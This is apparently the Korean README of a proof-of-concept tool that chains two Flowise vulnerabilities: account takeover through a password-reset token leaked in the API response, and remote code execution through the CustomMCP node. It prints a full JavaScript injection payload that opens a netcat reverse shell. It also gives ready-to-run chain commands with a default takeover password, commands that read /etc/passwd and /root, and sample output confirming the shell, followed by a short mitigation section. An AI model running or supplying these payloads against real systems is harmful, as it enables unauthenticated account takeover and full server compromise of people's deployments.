Flowise 이중 CVE PoC — CVE-2025-58434 + CVE-2025-59528

⚠️ 교육 및 인가된 보안 연구 목적으로만 사용하세요.
귀하가 소유하지 않거나 서면 허가 없이 테스트할 수 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
목차
개요
이 저장소는 Flowise의 두 가지 치명적 취약점을 하나의 모듈식 PoC 도구로 결합합니다.
두 취약점은 자연스럽게 연결됩니다: CVE-2025-58434는 인증되지 않은 계정 탈취를 제공하며, 이는 CVE-2025-59528의 인증 요구 사항을 충족시켜 단일 자동 실행으로 인증되지 않은 RCE를 달성합니다.
취약점 상세
CVE-2025-58434 — 계정 탈취
근본 원인: forgot-password 엔드포인트가 비밀번호 재설정 토큰(tempToken)을 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다.
공격 단계:
- 등록된 이메일로
POST /api/v1/account/forgot-password 요청
- JSON 응답에서
tempToken 읽기 — 이메일 접근 불필요
- 유출된 토큰으로
POST /api/v1/account/reset-password → 새 비밀번호 설정
- 피해자로 로그인
유출된 응답 (일부):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
CVE-2025-59528 — 원격 코드 실행
근본 원인: CustomMCP 노드가 사용자 제공 mcpServerConfig를 JavaScript의 Function() 생성자에 직접 전달하며 삭제(sanitization)하지 않습니다. Flowise는 Node.js에서 실행되므로 주입된 코드는 child_process, fs 및 모든 Node.js 내장 기능에 완전히 접근할 수 있습니다.
취약한 코드 경로:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← 삭제되지 않은 사용자 입력
필수 헤더:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
기본 주입 페이로드 (리버스 셸):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
참고: 리버스 셸 페이로드는 cp.exec() (비동기 / 발사 후 망각)을 사용하므로 HTTP 요청이 즉시 반환되어 도구가 타임아웃되지 않습니다. 일반 명령어는 cp.execSync()를 사용하며 출력을 인라인으로 반환합니다.
전체 공격 체인
공격자 Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← 응답에 토큰 유출
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO 완료
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← 쿠키 추출
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
공격자의 nc 리스너 ←─────────────── 서버가 역연결
✓ 자격 증명 없이 완전한 RCE
영향받는 버전
| 구성 요소 | 상태 |
|---|
Flowise Cloud (cloud.flowiseai.com) | CVE-2025-58434에 영향 |
| Flowise 자체 호스팅 (패치 이전 모든 버전) | 두 CVE 모두에 영향 |
패치된 릴리스 번호는 공식 Flowise 보안 권고를 확인하십시오.
저장소 구조
flowise-dual-cve-poc/
├── flowise_poc.py # 메인 PoC — 모든 모듈 + 체인 모드
├── requirements.txt # Python 종속성
├── README.md # 이 파일
└── DISCLAIMER.md # 전체 법적 고지
요구 사항
- Python 3.7+
requests 라이브러리
설치
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
사용법
기본 동작
모드 플래그가 필요하지 않습니다. --chain 또는 --module 없이 스크립트를 실행하면 자동으로 전체 체인 모드로 실행됩니다. 기본 RCE 페이로드는 리버스 셸입니다 — --lhost와 --lport만 제공하면 됩니다.
# 최소 호출 — 전체 체인 + 리버스 셸
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
실행 전에 리스너를 시작하세요:
도움말 화면
python3 flowise_poc.py -h
체인 모드
네 단계를 모두 처음부터 끝까지 실행합니다: 토큰 유출 → 비밀번호 재설정 → 로그인 → RCE.
# 리버스 셸 (기본 페이로드)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# 리버스 셸 대신 사용자 정의 명령어
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# 사용자 정의 ATO 비밀번호 + 리버스 셸
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
모듈 — ATO
tempToken을 유출하고 계정 비밀번호를 재설정합니다. 로그인/RCE 전에 중단됩니다.
# 기본 새 비밀번호
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# 사용자 정의 새 비밀번호
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# 원시 JSON 응답 출력
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
모듈 — 로그인
인증하고 수동 사용을 위해 세 개의 세션 쿠키를 추출합니다.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# 스크립팅을 위한 JSON 출력
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
모듈 — RCE
서버에서 실행합니다. --token이 제공되지 않으면 자동 로그인합니다.
# 리버스 셸 — 자동 로그인
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# 사용자 정의 명령어 — 자동 로그인
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# 수동 토큰 — 리버스 셸
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 세 쿠키 모두 수동
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
플래그 참조
모드 (모두 선택 사항 — 기본값은 --chain)
| 플래그 | 설명 |
|---|
--chain | 전체 체인: ATO → 로그인 → RCE |
--module ato | 계정 탈취만 |
--module login | 로그인 및 쿠키 추출만 |
|
대상
| 플래그 | 약어 | 설명 | 필수 |
|---|
--url | -u | Flowise 인스턴스의 기본 URL | 항상 |
|
ATO 옵션
| 플래그 | 약어 | 설명 | 기본값 |
|---|
--new-password | -p | ATO 후 피해자 계정에 설정할 비밀번호 | Flowise@Pwn3d2025! |
인증 옵션
RCE 옵션
기타
리버스 셸 vs 사용자 정의 명령어
스크립트는 자동으로 올바른 실행 모드를 선택합니다:
비동기 실행은 HTTP 요청이 즉시 완료됨을 의미합니다 — 리버스 셸 페이로드에 타임아웃 오류가 발생하지 않습니다.
예제 출력
[단계 1] [CVE-2025-58434] forgot-password 토큰 요청 중 ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
유출된 계정 데이터
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] 취약함 — 인증 없이 토큰이 노출되었습니다!
[단계 2] [CVE-2025-58434] 비밀번호 재설정 중 → Flowise@Pwn3d2025!
[*] HTTP 201
[+] 비밀번호 재설정 성공 (tempToken cleared)
[+] 계정 탈취 완료 → [email protected] / Flowise@Pwn3d2025!
[단계 3] [Auth] 세션 쿠키 추출을 위해 로그인 중 ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
추출된 세션 쿠키
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[단계 4] [CVE-2025-59528] CustomMCP를 통해 RCE 실행 중 ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE 결과
────────────────────────────────────────────────────────────────────
모드 : 리버스 셸
LHOST : 10.10.16.35
LPORT : 4444
[+] 리버스 셸 페이로드 실행됨!
[!] 10.10.16.35:4444 에서 연결 대기 중 ...
[!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] 체인 완료
대응 방안
CVE-2025-58434 관련
- API 응답에 토큰을 절대 반환하지 마세요.
tempToken은 등록된 이메일로만 전송하세요.
- 이메일 존재 여부와 관계없이 일반 성공 메시지를 반환하세요 (열거 방지).
- 토큰을 일회용으로 만들고, 짧은 수명(≤15분)으로 설정하며, 요청 컨텍스트에 연결하세요.
forgot-password 엔드포인트에 속도 제한을 적용하세요.
CVE-2025-59528 관련
- 사용자 입력을
Function(), eval() 또는 vm.runInThisContext()에 절대 전달하지 마세요.
mcpServerConfig를 데이터로만 구문 분석하세요 (예: JSON.parse()) — 절대 실행하지 마세요.
- 동적 평가가 필요한 경우, 제한된 컨텍스트로 격리된 샌드박스를 사용하세요.
- 엄격한 입력 유효성 검사와 허용된 구성 키 목록을 적용하세요.
일반
- 클라우드 및 자체 호스팅 배포 모두 패치하세요.
- 비밀번호 재설정 및 node-load-method 엔드포인트에 대한 로깅 및 알림을 활성화하세요.
- 모든 관리자 계정에 MFA를 고려하세요.
공개 타임라인
| 날짜 | 이벤트 |
|---|
| 2025-08-19 | CVE-2025-58434 발견 및 보고 |
| TBD | CVE-2025-59528 발견 및 보고 |
| TBD | 공급업체 확인 |
| TBD | 패치 릴리스 |
| TBD |
참고 자료
면책 조항
교육 목적 및 인가된 침투 테스트용으로만 사용하세요.
전체 법적 고지는 DISCLAIMER.md를 참조하십시오.